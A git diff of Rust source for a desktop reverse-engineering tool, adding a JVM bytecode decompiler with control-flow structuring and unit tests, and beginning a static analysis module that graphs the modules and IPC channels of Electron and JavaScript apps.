0x0b..=0x0d => self.push(format!("{}.0f", op - 0x0b)), + 0x0e | 0x0f => self.push(format!("{}.0", op - 0x0e)), + 0x10 | 0x11 => self.push(format!("{}", i.int.unwrap_or(0))), + 0x12..=0x14 => self.push(self.cf.format_insn(i).trim_start_matches(i.name).trim().to_string()), + 0x15..=0x19 => self.push(self.local(i.local.unwrap_or(0))), // *load + 0x1a..=0x1d => self.push(self.local(u16::from(op) - 0x1a)), // iload_0..3 + 0x1e..=0x21 => self.push(self.local(u16::from(op) - 0x1e)), // lload_0..3 + 0x22..=0x25 => self.push(self.local(u16::from(op) - 0x22)), // fload_0..3 + 0x26..=0x29 => self.push(self.local(u16::from(op) - 0x26)), // dload_0..3 + 0x2a..=0x2d => self.push(self.local(u16::from(op) - 0x2a)), // aload_0..3 + 0x2e..=0x35 => { + let idx = self.pop(); + let arr = self.pop(); + self.push(format!("{arr}[{idx}]")); + } + 0x36..=0x3a => { + let v = self.pop(); + let name = self.local(i.local.unwrap_or(0)); + self.emit(pc, Node::Stmt(format!("{name} = {v};"))); + } + 0x3b..=0x3e => self.store(pc, u16::from(op) - 0x3b), // istore_0..3 + 0x3f..=0x42 => self.store(pc, u16::from(op) - 0x3f), + 0x43..=0x46 => self.store(pc, u16::from(op) - 0x43), + 0x47..=0x4a => self.store(pc, u16::from(op) - 0x47), + 0x4b..=0x4e => self.store(pc, u16::from(op) - 0x4b), // astore_0..3 + 0x4f..=0x56 => { + let v = self.pop(); + let idx = self.pop(); + let arr = self.pop(); + self.emit(pc, Node::Stmt(format!("{arr}[{idx}] = {v};"))); + } + 0x57 | 0x58 => { + // pop/pop2: if the discarded value is a call, keep it as a statement for its effect. + let v = self.pop(); + if v.contains('(') { + self.emit(pc, Node::Stmt(format!("{v};"))); + } + } + 0x59 => { + let v = self.pop(); + self.push(v.clone()); + self.push(v); + } + 0x5a..=0x5e => self.lossy = true, // dup_x1/dup2/… — stack shuffles we don't model precisely + 0x5f => { + let a = self.pop(); + let b = self.pop(); + self.push(a); + self.push(b); + } + 0x60..=0x73 => self.binop(op), + 0x74..=0x77 => { + let a = self.pop(); + self.push(format!("(-{a})")); + } + 0x78..=0x83 => self.binop(op), + 0x84 => { + let name = self.local(i.local.unwrap_or(0)); + let k = i.int.unwrap_or(0); + if k >= 0 { + self.emit(pc, Node::Stmt(format!("{name} += {k};"))); + } else { + self.emit(pc, Node::Stmt(format!("{name} -= {};", -k))); + } + } + 0x85..=0x93 => self.cast(op), + 0x94..=0x98 => { + let b = self.pop(); + let a = self.pop(); + self.push(format!("Double.compare({a}, {b})")); + } + 0x99..=0x9e => self.if_zero(pc, op, i.branch), + 0x9f..=0xa4 => self.if_icmp(pc, op, i.branch), + 0xa5 | 0xa6 => { + let b = self.pop(); + let a = self.pop(); + let cmp = if op == 0xa5 { Cmp::Eq } else { Cmp::Ne }; + self.emit(pc, Node::If { cond: Cond { left: a, cmp, right: b }, target: i.branch.unwrap_or(0) }); + } + 0xa7 | 0xc8 => self.emit(pc, Node::Goto(i.branch.unwrap_or(0))), + 0xa8 | 0xa9 | 0xc9 => { + // jsr/ret: old-style finally. We cannot structure these. + self.lossy = true; + self.emit(pc, Node::Raw(format!("// {}", self.cf.format_insn(i)))); + } + 0xaa | 0xab => { + let expr = self.pop(); + let cases = match &i.switch { + Some(sw) => { + let mut v: Vec<(Option, i64)> = sw.pairs.iter().map(|(k, t)| (Some(*k), *t)).collect(); + v.push((None, sw.default)); + v + } + None => Vec::new(), + }; + self.emit(pc, Node::Switch { expr, cases }); + } + 0xac..=0xb0 => { + let v = self.pop(); + self.emit(pc, Node::Return(Some(v))); + } + 0xb1 => self.emit(pc, Node::Return(None)), + 0xb2 => self.getstatic(i), + 0xb3 => self.putstatic(pc, i), + 0xb4 => self.getfield(i), + 0xb5 => self.putfield(pc, i), + 0xb6 | 0xb9 => self.invoke_instance(pc, i, false), + 0xb7 => self.invoke_instance(pc, i, true), + 0xb8 => self.invoke_static(pc, i), + 0xba => self.invoke_dynamic(pc, i), + 0xbb => self.push(format!("new {}", self.ref_class(i))), + 0xbc => { + let n = self.pop(); + let ty = java_ops::array_type(i.int.unwrap_or(0)); + self.push(format!("new {ty}[{n}]")); + } + 0xbd => { + let n = self.pop(); + self.push(format!("new {}[{n}]", self.ref_class(i))); + } + 0xbe => { + let a = self.pop(); + self.push(format!("{a}.length")); + } + 0xbf => { + let v = self.pop(); + self.emit(pc, Node::Throw(v)); + } + 0xc0 => { + let a = self.pop(); + self.push(format!("({}) {a}", self.ref_class(i))); + } + 0xc1 => { + let a = self.pop(); + self.push(format!("({a} instanceof {})", self.ref_class(i))); + } + 0xc2 => self.emit(pc, Node::Stmt("// monitorenter".into())), + 0xc3 => self.emit(pc, Node::Stmt("// monitorexit".into())), + 0xc5 => { + // multianewarray: pop `dims` counts + let dims = i.int.unwrap_or(0).max(0) as usize; + let mut idx = String::new(); + for _ in 0..dims.min(64) { + idx = format!("[{}]{idx}", self.pop()); + } + self.push(format!("new {}{idx}", self.ref_class(i))); + } + 0xc6 => self.if_null(pc, Cmp::Eq, i.branch), + 0xc7 => self.if_null(pc, Cmp::Ne, i.branch), + _ => { + self.lossy = true; + self.emit(pc, Node::Raw(format!("// {}", self.cf.format_insn(i)))); + } + } + } + + fn store(&mut self, pc: u32, n: u16) { + let v = self.pop(); + let name = self.local(n); + self.emit(pc, Node::Stmt(format!("{name} = {v};"))); + } + + fn binop(&mut self, op: u8) { + let sym = match op { + 0x60..=0x63 => "+", + 0x64..=0x67 => "-", + 0x68..=0x6b => "*", + 0x6c..=0x6f => "/", + 0x70..=0x73 => "%", + 0x78 | 0x79 => "<<", + 0x7a | 0x7b => ">>", + 0x7c | 0x7d => ">>>", + 0x7e | 0x7f => "&", + 0x80 | 0x81 => "|", + 0x82 | 0x83 => "^", + _ => "?", + }; + let b = self.pop(); + let a = self.pop(); + self.push(format!("({a} {sym} {b})")); + } + + fn cast(&mut self, op: u8) { + let ty = match op { + 0x85 | 0x8c | 0x8f => "long", + 0x86 | 0x89 | 0x90 => "float", + 0x87 | 0x8a | 0x8d => "double", + 0x88 | 0x8b | 0x8e => "int", + 0x91 => "byte", + 0x92 => "char", + 0x93 => "short", + _ => "?", + }; + let a = self.pop(); + self.push(format!("({ty}) {a}")); + } + + fn if_zero(&mut self, pc: u32, op: u8, branch: Option) { + let cmp = match op { + 0x99 => Cmp::Eq, + 0x9a => Cmp::Ne, + 0x9b => Cmp::Lt, + 0x9c => Cmp::Ge, + 0x9d => Cmp::Gt, + _ => Cmp::Le, + }; + let a = self.pop(); + self.emit(pc, Node::If { cond: Cond { left: a, cmp, right: "0".into() }, target: branch.unwrap_or(0) }); + } + + fn if_icmp(&mut self, pc: u32, op: u8, branch: Option) { + let cmp = match op { + 0x9f => Cmp::Eq, + 0xa0 => Cmp::Ne, + 0xa1 => Cmp::Lt, + 0xa2 => Cmp::Ge, + 0xa3 => Cmp::Gt, + _ => Cmp::Le, + }; + let b = self.pop(); + let a = self.pop(); + self.emit(pc, Node::If { cond: Cond { left: a, cmp, right: b }, target: branch.unwrap_or(0) }); + } + + fn if_null(&mut self, pc: u32, cmp: Cmp, branch: Option) { + let a = self.pop(); + self.emit(pc, Node::If { cond: Cond { left: a, cmp, right: "null".into() }, target: branch.unwrap_or(0) }); + } + + fn ref_class(&self, i: &Insn) -> String { + i.cp_index.map(|c| simple_name(self.cf.class_dotted(c).replace('.', "/").as_str())).unwrap_or_else(|| "Object".into()) + } + + fn pop_args(&mut self, desc: &str) -> Vec { + let (params, _) = java_class::method_params(desc); + let mut args: Vec = (0..params.len()).map(|_| self.pop()).collect(); + args.reverse(); + args + } + + fn getstatic(&mut self, i: &Insn) { + match i.cp_index.and_then(|c| self.cf.resolve_ref(c)) { + Some(r) => self.push(format!("{}.{}", simple_name(&r.owner), r.name)), + None => self.push("?".into()), + } + } + fn putstatic(&mut self, pc: u32, i: &Insn) { + let v = self.pop(); + match i.cp_index.and_then(|c| self.cf.resolve_ref(c)) { + Some(r) => self.emit(pc, Node::Stmt(format!("{}.{} = {v};", simple_name(&r.owner), r.name))), + None => self.emit(pc, Node::Stmt(format!("? = {v};"))), + } + } + fn getfield(&mut self, i: &Insn) { + let recv = self.pop(); + match i.cp_index.and_then(|c| self.cf.resolve_ref(c)) { + Some(r) => self.push(format!("{recv}.{}", r.name)), + None => self.push(format!("{recv}.?")), + } + } + fn putfield(&mut self, pc: u32, i: &Insn) { + let v = self.pop(); + let recv = self.pop(); + match i.cp_index.and_then(|c| self.cf.resolve_ref(c)) { + Some(r) => self.emit(pc, Node::Stmt(format!("{recv}.{} = {v};", r.name))), + None => self.emit(pc, Node::Stmt(format!("{recv}.? = {v};"))), + } + } + + fn invoke_instance(&mut self, pc: u32, i: &Insn, special: bool) { + let Some(r) = i.cp_index.and_then(|c| self.cf.resolve_ref(c)) else { + self.lossy = true; + return; + }; + let args = self.pop_args(&r.descriptor); + let recv = self.pop(); + let (_, ret) = java_class::method_params(&r.descriptor); + if special && r.name == "" { + let call = format!("new {}({})", simple_name(&r.owner), args.join(", ")); + // Collapse the preceding `new`/`dup` placeholder if it is still on the stack. + if self.stack.last().map(|s| s.starts_with("new ")).unwrap_or(false) { + self.stack.pop(); + } + self.push(call); + return; + } + let recv_txt = if special && self.cf.super_class.as_deref() == Some(r.owner.as_str()) { "super".to_string() } else { recv }; + let call = format!("{recv_txt}.{}({})", r.name, args.join(", ")); + if ret == "void" { + self.emit(pc, Node::Stmt(format!("{call};"))); + } else { + self.push(call); + } + } + + fn invoke_static(&mut self, pc: u32, i: &Insn) { + let Some(r) = i.cp_index.and_then(|c| self.cf.resolve_ref(c)) else { + self.lossy = true; + return; + }; + let args = self.pop_args(&r.descriptor); + let (_, ret) = java_class::method_params(&r.descriptor); + let call = format!("{}.{}({})", simple_name(&r.owner), r.name, args.join(", ")); + if ret == "void" { + self.emit(pc, Node::Stmt(format!("{call};"))); + } else { + self.push(call); + } + } + + fn invoke_dynamic(&mut self, pc: u32, i: &Insn) { + self.lossy = true; + let (name, desc) = match i.cp_index { + Some(c) => match self.cf.name_and_type_of_indy(c) { + Some(nt) => nt, + None => ("lambda".into(), "()".into()), + }, + None => ("lambda".into(), "()".into()), + }; + let (params, ret) = java_class::method_params(&desc); + let args: Vec = (0..params.len()).map(|_| self.pop()).rev().collect(); + let call = format!("{name}({}) /* invokedynamic */", args.join(", ")); + if ret == "void" { + self.emit(pc, Node::Stmt(format!("{call};"))); + } else { + self.push(call); + } + } +} + +// --------------------------------------------------------------------------------------------- +// Structuring + +struct Structurer { + nodes: Vec<(u32, Node)>, + pc_to_idx: BTreeMap, + used_labels: BTreeSet, + fully: bool, + /// Where the current `render_if` tells its caller to continue. + after_if: usize, +} + +impl Structurer { + fn new(nodes: Vec<(u32, Node)>) -> Self { + let pc_to_idx = nodes.iter().enumerate().map(|(i, (pc, _))| (*pc, i)).collect(); + Structurer { nodes, pc_to_idx, used_labels: BTreeSet::new(), fully: true, after_if: 0 } + } + + /// Index of the first node at or after the byte offset `target` (may be `nodes.len()`). + fn idx_of(&self, target: i64) -> Option { + let p = u32::try_from(target).ok()?; + Some(self.nodes.partition_point(|(pc, _)| *pc < p)) + } + + /// The byte offset of the node we would branch to (for a readable label name). + fn node_pc(&self, idx: usize) -> Option { + self.nodes.get(idx).map(|(pc, _)| *pc) + } + + fn label(pc: u32) -> String { + format!("L{pc:x}") + } + + fn pad(indent: usize) -> String { + " ".repeat(indent) + } + + /// Record and render an unstructured jump to `target`. + fn goto_fallback(&mut self, target: i64) -> String { + self.fully = false; + match self.idx_of(target).and_then(|idx| self.node_pc(idx)) { + Some(pc) => { + self.used_labels.insert(pc); + Self::label(pc) + } + None => "end".to_string(), + } + } + + /// Render nodes `[lo, hi)` at `indent`. + fn render(&mut self, lo: usize, hi: usize, indent: usize, out: &mut String) { + let hi = hi.min(self.nodes.len()); + let mut i = lo; + while i < hi { + let Some((pc, node)) = self.nodes.get(i).cloned() else { break }; + if self.used_labels.contains(&pc) { + out.push_str(&format!("{}{}:\n", Self::pad(indent), Self::label(pc))); + } + match node { + Node::If { cond, target } if self.idx_of(target).is_some_and(|t| t > i && t <= hi) => { + self.render_if(i, hi, indent, &cond, target, out); + i = self.after_if; + } + Node::Switch { expr, cases } => { + i = self.render_switch(&expr, &cases, i, hi, indent, out); + } + Node::If { cond, target } => { + // Backward or out-of-range branch: honest labelled fallback. + let l = self.goto_fallback(target); + out.push_str(&format!("{}if ({}) goto {l};\n", Self::pad(indent), cond.render(false))); + i += 1; + } + Node::Goto(target) => { + let l = self.goto_fallback(target); + out.push_str(&format!("{}goto {l};\n", Self::pad(indent))); + i += 1; + } + Node::Return(Some(v)) => { + out.push_str(&format!("{}return {v};\n", Self::pad(indent))); + i += 1; + } + Node::Return(None) => { + out.push_str(&format!("{}return;\n", Self::pad(indent))); + i += 1; + } + Node::Throw(v) => { + out.push_str(&format!("{}throw {v};\n", Self::pad(indent))); + i += 1; + } + Node::Stmt(s) | Node::Raw(s) => { + out.push_str(&format!("{}{s}\n", Self::pad(indent))); + i += 1; + } + } + } + } + + /// Render a forward `if` (with an optional `else`); `after_if` is set to the continue index. + fn render_if(&mut self, i: usize, hi: usize, indent: usize, cond: &Cond, target: i64, out: &mut String) { + let tidx = self.idx_of(target).unwrap_or(hi).min(hi); + // An `else` branch: the node right before the then-block's end is a forward goto. + let mut then_end = tidx; + let mut else_end = None; + if tidx > i + 1 + && let Some((_, Node::Goto(g))) = self.nodes.get(tidx - 1).cloned() + && let Some(gidx) = self.idx_of(g) + && gidx >= tidx + && gidx <= hi + { + then_end = tidx - 1; + else_end = Some(gidx); + } + out.push_str(&format!("{}if ({}) {{\n", Self::pad(indent), cond.render(true))); + self.render(i + 1, then_end, indent + 1, out); + if let Some(eidx) = else_end { + out.push_str(&format!("{}}} else {{\n", Self::pad(indent))); + self.render(tidx, eidx, indent + 1, out); + out.push_str(&format!("{}}}\n", Self::pad(indent))); + self.after_if = eidx; + } else { + out.push_str(&format!("{}}}\n", Self::pad(indent))); + self.after_if = tidx; + } + } + + /// Render a `switch` with inlined case bodies; returns the index to continue from. + fn render_switch(&mut self, expr: &str, cases: &[(Option, i64)], at: usize, hi: usize, indent: usize, out: &mut String) -> usize { + // Boundaries: the first node at or after each case target, sorted, bounded by hi. + let mut bounds: Vec<(Option, usize)> = cases.iter().filter_map(|(k, t)| self.idx_of(*t).map(|idx| (*k, idx.min(hi)))).collect(); + bounds.sort_by_key(|(_, idx)| *idx); + // Inline case bodies only when every case target is forward and each body ends in a + // return/throw (so the switch is terminal and nothing after it is lost). + let terminal = !bounds.is_empty() + && bounds.iter().all(|(_, idx)| *idx > at) + && bounds.iter().enumerate().all(|(n, (_, start))| { + let end = bounds.get(n + 1).map(|(_, e)| *e).unwrap_or(hi).min(hi); + end > *start && matches!(self.nodes.get(end - 1), Some((_, Node::Return(_))) | Some((_, Node::Throw(_))) | Some((_, Node::Goto(_)))) + }); + if !terminal { + // Fall back to a readable case→label mapping; the bodies render in the linear flow after. + self.fully = false; + out.push_str(&format!("{}switch ({expr}) {{\n", Self::pad(indent))); + for (k, t) in cases { + let l = self.goto_fallback(*t); + match k { + Some(k) => out.push_str(&format!("{}case {k}: goto {l};\n", Self::pad(indent + 1))), + None => out.push_str(&format!("{}default: goto {l};\n", Self::pad(indent + 1))), + } + } + out.push_str(&format!("{}}}\n", Self::pad(indent))); + return at + 1; + } + out.push_str(&format!("{}switch ({expr}) {{\n", Self::pad(indent))); + for (n, (key, start)) in bounds.iter().enumerate() { + let end = bounds.get(n + 1).map(|(_, e)| *e).unwrap_or(hi).min(hi); + match key { + Some(k) => out.push_str(&format!("{}case {k}:\n", Self::pad(indent + 1))), + None => out.push_str(&format!("{}default:\n", Self::pad(indent + 1))), + } + self.render(*start, end, indent + 2, out); + } + out.push_str(&format!("{}}}\n", Self::pad(indent))); + hi + } +} + +// --------------------------------------------------------------------------------------------- +// Public entry points + +/// Decompile one method body to pseudo-Java. +pub fn decompile_method(cf: &ClassFile, m: &Member) -> MethodDecompile { + let signature = cf.method_signature(m); + let mut limitations = base_limitations(); + let Some(code) = &m.code else { + let body = if m.access & 0x0100 != 0 { + "{ /* native method: no bytecode */ }".to_string() + } else if m.access & 0x0400 != 0 { + "; // abstract".to_string() + } else { + "{ }".to_string() + }; + return MethodDecompile { signature, body, confidence: Confidence::Inferred, limitations, fully_structured: true }; + }; + let (insns, complete) = java_ops::decode(&code.bytecode, 200_000); + if !complete { + limitations.push(Limitation::new("listing_incomplete", "The bytecode could not be fully decoded; the tail is omitted.")); + } + let is_static = m.access & 0x0008 != 0; + let mut sim = Sim { cf, is_static, stack: Vec::new(), nodes: Vec::new(), lossy: false }; + for ins in &insns { + sim.step(ins); + } + let lossy = sim.lossy; + let (inner, fully) = structure_body(sim.nodes, &code.exceptions, cf); + if !fully { + limitations + .push(Limitation::new("control_flow_partly_structured", "Some control flow could not be recovered and is shown with labels and goto statements.")); + } + if lossy { + limitations.push(Limitation::new( + "stack_reconstruction_approximate", + "Some stack operations (complex dup/swap, invokedynamic/lambda, jsr/ret) are approximated; read the bytecode listing for the exact behaviour.", + )); + } + let body = format!("{{\n{inner}}}"); + MethodDecompile { signature, body, confidence: Confidence::Inferred, limitations, fully_structured: fully } +} + +fn base_limitations() -> Vec { + vec![ + Limitation::new( + "decompiler_inferred", + "This pseudo-Java is reconstructed from bytecode by REI Reverse Engineer's built-in decompiler; it is a best guess, not the original source. The bytecode disassembly is the evidence.", + ), + Limitation::new("generics_erased", "Generic type arguments are erased in bytecode and are not shown."), + Limitation::new("names_and_types_inferred", "Local variables are named v0, v1, … (no debug names); their declared types are not reconstructed."), + Limitation::new( + "desugaring_not_reversed", + "Synthetic members, lambda/invokedynamic desugaring, enum scaffolding and string-switch hashing are not turned back into source.", + ), + ] +} + +/// Build the indented body text and whether it is fully structured, wrapping try/catch ranges. +fn structure_body(nodes: Vec<(u32, Node)>, exceptions: &[java_class::ExceptionEntry], cf: &ClassFile) -> (String, bool) { + let mut s = Structurer::new(nodes); + s.after_if = 0; + let n = s.nodes.len(); + let mut out = String::new(); + // Try a single clean try/catch wrap when the exception table has one tidy handler. + if let Some(wrapped) = try_wrap_single_handler(&mut s, exceptions, cf, n, &mut out) { + return (wrapped, s.fully); + } + if !exceptions.is_empty() { + s.fully = false; + out.push_str(&format!(" // {} exception handler(s) in the table; try/catch structure not reconstructed here.\n", exceptions.len())); + } + s.render(0, n, 1, &mut out); + (out, s.fully) +} + +/// Recognise the common `try { … } catch (T e) { … }` shape and render it; `None` otherwise. +fn try_wrap_single_handler(s: &mut Structurer, exceptions: &[java_class::ExceptionEntry], cf: &ClassFile, n: usize, out: &mut String) -> Option { + if exceptions.len() != 1 { + return None; + } + let e = exceptions.first()?; + // Resolve each pc to the first node at or after it (instructions without a node, like a load, + // leave gaps in pc_to_idx). + let first_ge = |s: &Structurer, pc: u16| s.pc_to_idx.range(u32::from(pc)..).next().map(|(_, i)| *i); + let start_idx = first_ge(s, e.start_pc)?; + // The protected region [start_pc, end_pc) ends just before the node at/after end_pc, which for + // compiled try blocks is the goto that skips the handler on the normal path. + let exit_idx = first_ge(s, e.end_pc)?; + let rejoin_idx = match s.nodes.get(exit_idx) { + Some((_, Node::Goto(g))) => s.idx_of(*g)?, + _ => return None, + }; + let handler_idx = first_ge(s, e.handler_pc)?; + // The handler must follow the skipping goto directly: nodes in between would be dropped. + if !(start_idx < exit_idx && exit_idx + 1 == handler_idx && handler_idx <= rejoin_idx && rejoin_idx <= n) { + return None; + } + let ty = e.catch_type.as_deref().map(java_class::internal_to_dotted).unwrap_or_else(|| "Throwable".to_string()); + let _ = cf; + // What runs before the protected region (#232). + s.render(0, start_idx, 1, out); + out.push_str(" try {\n"); + s.render(start_idx, exit_idx, 2, out); + out.push_str(" } catch ("); + out.push_str(&ty); + out.push_str(" e) {\n"); + // The handler's first instruction stores the caught exception (astore); skip that noise. + let handler_body_start = match s.nodes.get(handler_idx) { + Some((_, Node::Stmt(st))) if st.trim_end().ends_with("= ?;") => handler_idx + 1, + _ => handler_idx, + }; + s.render(handler_body_start, rejoin_idx, 2, out); + out.push_str(" }\n"); + s.render(rejoin_idx, n, 1, out); + Some(std::mem::take(out)) +} + +/// Decompile a whole class to a pseudo-Java skeleton with field declarations and method bodies. +pub fn decompile_class(cf: &ClassFile) -> ClassDecompile { + let mut out = String::new(); + if let Some(src) = &cf.source_file { + out.push_str(&format!("// decompiled from {src}\n")); + } + if !cf.annotations.is_empty() { + for a in &cf.annotations { + out.push_str(&format!("@{}\n", a.split_whitespace().next().unwrap_or(a))); + } + } + // class header + let flags = java_class::access_flags(cf.access, java_class::AccessKind::Class).join(" "); + let kind = if cf.access & 0x0200 != 0 { + "interface" + } else if cf.access & 0x4000 != 0 { + "enum" + } else { + "class" + }; + out.push_str(&flags); + if !flags.is_empty() { + out.push(' '); + } + out.push_str(&format!("{kind} {}", cf.name_dotted())); + if let Some(sup) = &cf.super_class + && sup != "java/lang/Object" + { + out.push_str(&format!(" extends {}", java_class::internal_to_dotted(sup))); + } + if !cf.interfaces.is_empty() { + let keyword = if kind == "interface" { "extends" } else { "implements" }; + let ifaces: Vec = cf.interfaces.iter().map(|i| java_class::internal_to_dotted(i)).collect(); + out.push_str(&format!(" {keyword} {}", ifaces.join(", "))); + } + out.push_str(" {\n"); + // fields + for f in &cf.fields { + let fflags = java_class::access_flags(f.access, java_class::AccessKind::Field).join(" "); + let init = f.constant_value.as_ref().map(|v| format!(" = {v}")).unwrap_or_default(); + out.push_str(&format!(" {}{}{} {}{init};\n", fflags, if fflags.is_empty() { "" } else { " " }, java_class::field_type(&f.descriptor), f.name)); + } + if !cf.fields.is_empty() { + out.push('\n'); + } + // methods + let mut limitations = base_limitations(); + let mut fully = true; + let mut lossy_methods = 0; + for (n, m) in cf.methods.iter().enumerate() { + if m.access & 0x1000 != 0 { + // skip synthetic methods in the skeleton + continue; + } + let d = decompile_method(cf, m); + if !d.fully_structured { + fully = false; + } + if d.limitations.iter().any(|l| l.code == "stack_reconstruction_approximate") { + lossy_methods += 1; + } + let indented: String = d.body.lines().map(|l| format!(" {l}\n")).collect(); + out.push_str(&format!(" {}{}\n", d.signature, if d.body.starts_with('{') { indented.trim_start().to_string() } else { d.body.clone() })); + if n + 1 < cf.methods.len() { + out.push('\n'); + } + } + out.push_str("}\n"); + if lossy_methods > 0 { + limitations + .push(Limitation::new("stack_reconstruction_approximate", format!("{lossy_methods} method(s) contain stack operations that were approximated."))); + } + if !fully { + limitations.push(Limitation::new("control_flow_partly_structured", "Some methods contain control flow shown with labels and goto statements.")); + } + ClassDecompile { source: out, confidence: Confidence::Inferred, limitations, fully_structured: fully } +} + +#[cfg(test)] +mod tests { + use super::*; + use craft_anything_formats::java_class::parse; + use craft_anything_testkit::java as fx; + + fn method<'a>(cf: &'a ClassFile, name: &str) -> &'a Member { + cf.methods.iter().find(|m| m.name == name).unwrap() + } + + #[test] + fn decompiles_hello() { + let data = fx::hello_class(); + let cf = parse(&data).unwrap(); + let run = decompile_method(&cf, method(&cf, "run")); + assert_eq!(run.signature, "public void run()"); + assert!(run.body.contains("System.out.println(\"Hello, Craft!\");"), "{}", run.body); + assert_eq!(run.confidence, Confidence::Inferred); + assert!(run.fully_structured); + + let pick = decompile_method(&cf, method(&cf, "pick")); + assert!(pick.body.contains("switch (v1)"), "{}", pick.body); + assert!(pick.body.contains("case 0:"), "{}", pick.body); + assert!(pick.body.contains("return 10;"), "{}", pick.body); + assert!(pick.body.contains("default:"), "{}", pick.body); + + let guarded = decompile_method(&cf, method(&cf, "guarded")); + assert!(guarded.body.contains("try {"), "{}", guarded.body); + assert!(guarded.body.contains("catch (java.lang.RuntimeException e)"), "{}", guarded.body); + } + + /// #232: `v0 = 7; try { v1 = 2; } catch (RuntimeException e) {} return v0;` kept the return + /// and dropped the assignment before the `try`. + #[test] + fn code_before_a_try_is_kept() { + let hex = "cafebabe00000031000a0100065072655472790700010100106a6176612f6c616e672f4f626a656374070003010004436f64650100016d01000328294901001a6a6176612f6c616e672f52756e74696d65457863657074696f6e070008002100020004000000000001000900060007000100050000001f000100030000000b10073b053ca700044d1aac0001000300050008000900000000"; + let data: Vec = (0..hex.len()).step_by(2).map(|i| u8::from_str_radix(&hex[i..i + 2], 16).unwrap()).collect(); + let cf = parse(&data).unwrap(); + let m = decompile_method(&cf, method(&cf, "m")); + let (init, try_at) = (m.body.find("v0 = 7;"), m.body.find("try {")); + assert!(init.is_some() && init < try_at, "{}", m.body); + assert!(m.body.contains("v1 = 2;") && m.body.contains("return v0;"), "{}", m.body); + assert!(decompile_class(&cf).source.contains("v0 = 7;")); + } + + #[test] + fn decompiles_helper_new_and_calls() { + let cf = parse(&fx::helper_class()).unwrap(); + let go = decompile_method(&cf, method(&cf, "go")); + assert!(go.body.contains("new Hello()"), "{}", go.body); + assert!(go.body.contains(".run()"), "{}", go.body); + let class = decompile_class(&cf); + assert!(class.source.contains("class com.example.Helper"), "{}", class.source); + } + + #[test] + fn hostile_never_panics() { + let data = fx::hello_class(); + for m in craft_anything_testkit::mutations(&data) { + if let Ok(cf) = parse(&m) { + for method in &cf.methods { + let _ = decompile_method(&cf, method); + } + let _ = decompile_class(&cf); + } + } + for len in 0..data.len() { + if let Ok(cf) = parse(&data[..len]) { + let _ = decompile_class(&cf); + } + } + } +} diff --git a/desktop/crates/analysis/src/js_app.rs b/desktop/crates/analysis/src/js_app.rs new file mode 100644 index 0000000..cde0b68 --- /dev/null +++ b/desktop/crates/analysis/src/js_app.rs @@ -0,0 +1,1183 @@ +//! The JavaScript application graph: every source of an Electron app, web bundle or Node +//! package analysed and joined into one graph of modules, functions, windows, IPC channels, +//! the preload bridge, endpoints, routes, storage, platform effects and native modules. +//! +//! Pure: the caller supplies file bytes (from an ASAR, folder or ZIP). Nothing is executed. + +use craft_anything_evidence::sha256_hex; +use craft_anything_js::html::{HtmlFacts, scan_html}; +use craft_anything_js::{self as js, ModuleFacts, PrefValue}; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::collections::{BTreeMap, BTreeSet, HashMap, VecDeque}; + +/// One input file. `path` is relative with `/` separators. +#[derive(Debug, Clone)] +pub struct AppFile { + pub path: String, + pub bytes: Vec, +} + +#[derive(Debug, Clone, Default)] +pub struct AppInput { + /// What was analysed (file or folder name). + pub label: String, + /// `asar`, `directory`, `zip`, `file`. + pub format: String, + pub files: Vec, + /// Every path seen (including ones not read), with sizes. + pub listing: Vec<(String, u64)>, + /// Things the reader skipped or noticed. + pub notes: Vec, +} + +#[derive(Debug, Clone, Copy)] +pub struct AppOptions { + pub limits: js::Limits, + pub max_nodes: usize, +} + +impl Default for AppOptions { + fn default() -> Self { + AppOptions { limits: js::Limits::default(), max_nodes: 25_000 } + } +} + +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +pub struct Node { + pub id: String, + pub kind: String, + pub label: String, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub module: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub line: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub role: Option, + #[serde(default, skip_serializing_if = "Value::is_null")] + pub attrs: Value, +} + +#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord, Serialize, Deserialize)] +pub struct Edge { + pub from: String, + pub to: String, + pub kind: String, +} + +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +pub struct ResolvedImport { + pub kind: String, + pub specifier: String, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub resolved: Option, + pub line: u32, +} + +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +pub struct BundleModuleSummary { + pub id: String, + pub format: String, + pub sha256: String, + pub fingerprint: String, + pub deps: Vec, + pub line: u32, + pub start: u32, + pub end: u32, + #[serde(default)] + pub strings: Vec, + #[serde(default)] + pub functions: Vec, +} + +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +pub struct ModuleSummary { + pub path: String, + /// `main`, `preload`, `renderer`, `worker`, `page`, `package`, `unknown`. + pub role: String, + /// `script`, `html`, `json`, `source-map`, `native`, `other`. + pub kind: String, + pub bytes: u64, + pub sha256: String, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub fingerprint: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub parse_mode: Option, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub parse_note: Option, + #[serde(default)] + pub imports: Vec, + #[serde(default)] + pub exports: js::ExportShape, + #[serde(default)] + pub bundlers: Vec, + #[serde(default)] + pub chunk_ids: Vec, + #[serde(default)] + pub bundle_modules: Vec, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub source_map: Option, + #[serde(default)] + pub functions: Vec, + #[serde(default)] + pub strings: Vec, +} + +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +pub struct Site { + pub module: String, + pub line: u32, + pub method: String, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub function: Option, +} + +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +pub struct IpcChannel { + pub channel: String, + /// Main-process `handle`/`handleOnce`. + pub handlers: Vec, + /// Main-process `on`/`once` listeners. + pub main_listeners: Vec, + /// Renderer/preload `invoke`/`sendSync`. + pub invokers: Vec, + /// Renderer/preload `send`. + pub senders: Vec, + /// Renderer listeners for main → renderer messages. + pub renderer_handlers: Vec, + /// Main → renderer `webContents.send`. + pub main_senders: Vec, + /// Exposed bridge members that use the channel. + pub bridge_members: Vec, + /// True when a renderer side and a main side were both found. + pub paired: bool, +} + 